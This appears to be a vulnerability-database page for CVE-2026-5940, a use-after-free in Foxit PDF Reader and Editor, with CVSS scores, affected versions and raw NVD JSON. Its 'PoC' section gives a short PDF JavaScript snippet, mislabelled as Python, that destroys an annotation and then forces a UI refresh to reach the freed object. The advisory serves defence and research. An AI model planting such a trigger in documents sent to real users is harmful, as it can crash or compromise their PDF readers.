Security Vulnerability Report
中文
CVE-2026-5940 CVSS 7.8 HIGH

CVE-2026-5940

Published: 2026-04-27 12:16:24
Last Modified: 2026-04-29 17:26:50
Source: 14984358-7092-470d-8f34-ade47a7658a2

Description

Calling a function that triggers a UI refresh after removing comments via a script may access an invalidated object, leading to program crashes.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:foxit:pdf_reader:*:*:*:*:*:*:*:* - VULNERABLE
Foxit PDF Reader (具体版本请参考官方公告)
Foxit PDF Editor (具体版本请参考官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC Concept for CVE-2026-5940 // Target: Foxit PDF Reader/Editor // Description: Trigger UAF by removing annotation and forcing UI refresh var thisPage = this.getPageNum(0); // Step 1: Create a text annotation var annot = this.addAnnot({ page: 0, type: "Text", rect: [100, 700, 200, 750], contents: "CVE-2026-5940 Test", name: "TestAnnot" }); // Step 2: Remove the annotation via script to free memory annot.destroy(); // Step 3: Trigger a UI Refresh event // Attempting to access layout or view properties may trigger invalid object access this.layout = "SinglePage"; app.alert("PoC Triggered");

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5940", "sourceIdentifier": "14984358-7092-470d-8f34-ade47a7658a2", "published": "2026-04-27T12:16:24.377", "lastModified": "2026-04-29T17:26:50.220", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Calling a function that triggers a UI refresh after removing comments via a script may access an invalidated object, leading to program crashes."}], "metrics": {"cvssMetricV31": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionEndExcluding": "13.2.4", "matchCriteriaId": "388A59F0-28A7-436B-BC75-C77E58F4ECDE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0.0", "versionEndExcluding": "14.0.4", "matchCriteriaId": "6C4B8779-474C-43FC-B02E-3754BFAB2432"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.0.0", "versionEndExcluding": "2026.1.1", "matchCriteriaId": "D3D204C5-D29B-4341-B48E-6F634E41126E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_reader:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026.1.1", "matchCriteriaId": "C18DA4A1-62E6-4734-840D-B5280B765A9E"}]}]}], "references": [{"url": "https://www.foxit.com/support/security-bulletins.html", "source": "14984358-7092-470d-8f34-ade47a7658a2", "tags": ["Vendor Advisory"]}]}}